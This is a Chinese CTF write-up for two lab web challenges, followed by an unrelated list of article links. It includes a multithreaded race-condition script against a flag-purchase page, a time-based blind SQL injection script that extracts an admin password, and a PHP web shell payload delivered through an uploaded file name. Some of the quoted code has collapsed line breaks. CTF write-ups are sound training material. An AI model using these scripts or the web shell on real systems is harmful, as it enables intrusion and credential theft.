第一道题:

 

上来就让我买flag,用御剑扫目录,发现了这道题有源码index.php.bak!直接下载。

<meta charset='UTF-8'>
<title>极光实验室flag售卖中心</title>
<link rel="stylesheet" href="./css/bootstrap.css">
<link rel="stylesheet" href="./css/bootstrap.min.css">
<link rel="stylesheet" href="./css/index.css">
<body>
<div class='starter_form1'>
<h1>极光实验室flag售卖中心</h1>
<?php
ini_set('display_errors', 0);
error_reporting(E_ALL ^ E_DEPRECATED);
$db = new mysqli("127.0.0.1","root","****", shop); $sql = "SELECT rest FROM account"; $rest = intval($db->query($sql)->fetch_assoc()['rest']); $sql = "SELECT own FROM account"; $own = intval($db->query($sql)->fetch_assoc()['own']); echo "
<div class=\"starter_form\" style=\"align-content: center\">
<form action='' method='post'> <h3>您当前的余额:{$rest}元</h1>
<div style=\"margin: 50px\">
</div> 支付<input type='text' name='money'>元购买flag<br>
</br>
<div class='form-group'>
<button class=\"btn btn-primary btn-block\" type=\"submit\" name='submit'>购买</button>
</div>
<div style=\"margin: 100px\">
</div>
已支付{$own}元,可是flag最低要21元...
</br>
<form action='' method='post'>
<button class=\"btn btn-primary btn-block\" type=\"submit\" name='restart' value='1'>重置</button>
</div>
</form>
</div>
</div>
"; if ($_POST['money']){ $money = intval($_POST['money']);
if($money<0)
{
echo "<script>alert('我们极光虽然有钱...但兄弟姐妹你这样我们会破产的...')</script>";
exit();
}
if($money <= $rest) { $sql = "UPDATE account SET rest=rest-".$money; $db->query($sql); $sql = "UPDATE account SET own=own+".$money; $db->query($sql); echo "<script>alert('支付成功');window.location.href=this.location.href</script>"; } else { echo "<script>alert('支付失败,可能是因为您的余额不足。')</script>"; }
$sql="select own from account";
$banner = intval($db->query($sql)->fetch_assoc()['own']);
if($own>=21)
{
echo "等等..竟然!无中生友,你怕不是黑黑黑...\nACTF{************}";
}
}
else if ($_POST['restart']==1){
$sql = "UPDATE account SET rest=20";
$db->query($sql);
$sql = "UPDATE account SET own=0";
$db->query($sql);
}
?> </body> </html>

源码审计,本来以为这是一道sql注入题,但是因为intval()并不想is_number()一样存在sql注入的漏洞,只能含泪放弃。

重新审计源码发现,它并没有考虑到多个人同时操作的情况,于是就有了竞争的想法!

所谓竞争上传就是指 在服务器刚刚做出 $money <= $rest 的判断并且没有执行$sql = "UPDATE account SET rest=rest-".$money;操作时,再次判断$money <= $rest。

使得出现漏洞。

那么我们就需要写一个多线程的脚本。不断地访问。这里直接嫖了大佬的脚本

import requests
import threading
import queue url = "http://47.112.16.34:22255/index.php"
threads = 25
q = queue.Queue() for i in range(50):
q.put(i) def post():
while not q.empty():
q.get()
r = requests.post(url, data={'money': 1})
print(r.text) if __name__ == '__main__':
for i in range(threads):
t = threading.Thread(target=post)
t.start() for i in range(threads):
t.join()

成功拿到flag!

(话说这个flag也太长了吧)

下一道题:

第二道题因为拖得时间有点长导致刚写出脚本,题目就关闭了,现在在大佬的帮助下终于拿到了flag(话说拿到flag不能交真的很烦啊!!!!)

第二道题首先考我们robots协议。

然后扫到了image.php?然后才知道有image.php.bak。。(璞佬nb!)

然后看到源码!

<?php
include "config.php"; $id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:""; $id=addslashes($id);
$path=addslashes($path); $id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path); $result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC); ...

还是源码审计,直接过滤了单引号,真的狠好吧!那怎么办?想起了之前的用  / 过滤单引号但是这一次很明显没有那么简单,因为有 addslashes()函数(具体作用不载详述)

突发奇想输入 \0 (看到了\\0)会发生什么,然后居然过滤的只剩下一个 \  符号,原来如此,wakada!

那就可以构造payload了,直接放脚本。(注意因为单引号被过滤了,那么要用16进制编码来代替需要引号的地方!)

# insert into member(`username`,pw,sex,phonenum,email,address) values('wangwu',md5('a'),'a','aa','a','a')
import requests
import time url = "http://47.106.94.13:40005/image.php?"
#params = "id=\\0&path= or if((ascii(mid((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),{},1))={}),sleep(5),1)--+"
params = "id=\\0&path= or if((ascii(mid((select password from users where username=0x61646d696e),{},1))={}),sleep(5),1)--+" string = "1234567890abcdefghijklmnopqrstuvwxyz -ABCDEFGHIJKLMNOPQRSTUVWXYZ:_@,\{\}." while True: get = ""
for i in range(1,100):
for j in string:
parm = params.format(str(i),str(ord(j)))
url2 = url + parm
try:
response = requests.get(url2,timeout=3) except:
get+=j
print(get)
time.sleep(1)
break
#print(url2)

中间有点没写上,不过没关系,大概就是这个payload,跑出结果

用 admin 和 password 作为账号和密码登录。

文件上传?经过cyt大佬的wp才知道,这一题居然是把文件名当做漏洞。。。哭了!

构造payload  =  <?= system($_GET[1551]);?>

然后,找啊找啊找啊找(话说藏得真深)找到了

极光实验室 第一次考核wp的更多相关文章

  1. Jquery第一次考核

    1. 什么是JS JavaScript 缩写.一种计算机脚本语言 JavaScript是一种动态.弱类型.基于原型的语言,通过浏览器可以直接执行 2. JS三大组成部件 ECMAScript DOM ...

  2. wp上一款应用的出生与死亡

    起因 因为自己买了个wp手机,所以对于微软的这个wp系统还是非常喜欢,无奈软件质量不高,过年前便买了个wp的开发者帐号,不是很贵,还想着为wp的生态系统做点贡献.无奈工作繁忙,一直没有机会去做.但是自 ...

  3. SAP成都研究院Sunshine: 我的C4C实习感受和保研之路

    今天的文章来自SAP成都一位实习生,曾经和Jerry同在C4C成都开发团队一起工作过.在Sunshine最后一个工作日里,Jerry和Sunshine一起吃饭的时候,她曾经聊到接下来的保研打算和将来工 ...

  4. buu学习记录(上)

    前言:菜鸡误入buu,差点被打吐.不过学到了好多东西. 题目名称: (1)随便注 (2)高明的黑客 (3)CheckIn (4)Hack World (5)SSRF Me (6)piapiapia ( ...

  5. 漫漫征途,java开发(未完待续)

    前言 2018年,大二上,有幸加入服务外包实验室的考核,在考核中,主动加入xxx项目的后端,一是为了积累项目经验,二是为了学到更多东西,进入了之后发现原来要学的这么多,时间这么紧!但唯有学习! 心得体 ...

  6. 关于GC(下):CMS和G1GC的比较

    简称 STW -- Stop the World,暂停所有在执行的线程 简史 2004年Sun实验室第一次发表G1论文 JDK6U14中第一次作为实验选项引入 JDK7中开始作为替换CMS的方案 JD ...

  7. Java作业:第一次过程性考核 ——长春职业技术学院 16级网络工程

    Java作业:第一次过程性考核 ••<结构化程序设计>•• 考核目标:初步了解Java基本语法规则,学习结构化程序设计思想. 码云链接:https://gitee.com/SoridoD/ ...

  8. 极光推送SDK通过泰尔终端实验室检测,符合统一推送接口标准

    1月7日,中国深圳--国内领先的开发者服务提供商极光(Aurora Mobile, NASDAQ:JG)宣布其旗下产品极光推送SDK通过中国信息通信研究院泰尔终端实验室的检测,其性能和接口标准符合统一 ...

  9. 停下来,回头看 ——记2020BUAA软工第一次作业-热身!

    description: 'Mar 1st, 2020 - Mar 3rd, 2020' 项目 内容 这个作业属于哪个课程 2020春季计算机学院软件工程(罗杰 任建) 这个作业的要求在哪里 第一次作 ...

随机推荐

  1. ERP中HR模块的操作与设计--开源软件诞生26

    赤龙ERP的EHR功能讲解--第26篇 用日志记录"开源软件"的诞生 [进入地址 点亮星星]----祈盼着一个鼓励 博主开源地址: 码云:https://gitee.com/red ...

  2. Flink基础:时间和水印

    ​ 往期推荐: Flink基础:入门介绍 Flink基础:DataStream API Flink基础:实时处理管道与ETL Flink深入浅出:资源管理 Flink深入浅出:部署模式 Flink深入 ...

  3. dst_output发包

    不管是收到报文转发还是本机发送报文,最后都会调用dst_output /* Output packet to network from transport. */ static inline int ...

  4. yum 的一些问题总结

    1. yum 只删除目标,不删除依赖 rpm -e --nodeps xxx 2.yum remove 出错 报错 Error: Cannot retrieve repository metadata ...

  5. webpack、node、npm关系

    webpack模块打包 webpack为了正常运行, 必须依赖node环境, node环境为了可以正常的执行很多代码,必须其中包含各种依赖的包 npm工具(node packages manager) ...

  6. [python应用]python简单图片抓取

    前言 emmmm python简单图片抓取 1 import requests 2 import threading 3 import queue 4 from subprocess import P ...

  7. ctf-misc-图片隐写术套路总结

    1.直接右键notepad打开,搜索flag,如果图片很多的话,可以写py脚本也    可以打开后搜索全部打开文件 2.是一个压缩包,改了后缀 3.图片中藏了一个二维码,用Stegsolve加几次滤镜 ...

  8. spark任务执行流程

    standlone模式 yarn模式 对比:

  9. 使用IDM批量抓取音效素材下载

    IDM下载器的站点抓取功能,能够抓取网站上的图片.音频.视频.PDF.压缩包等等文件.更重要的是,能够实现批量抓取操作,省时省力.今天就来看一下,如何用IDM巧妙的批量抓取音效素材. 1.进入音效合辑 ...

  10. Boom 3D的保真度是什么,如何应用

    Boom 3D是一款非常优秀的3D音频软件,拥有3D音效.环境模式.空间模式.夜间模式.保真度等多种音效模式,可以为用户提供多种音效体验感. 第一.什么是保真度 或许第一次接触音频软件的朋友就会问到什 ...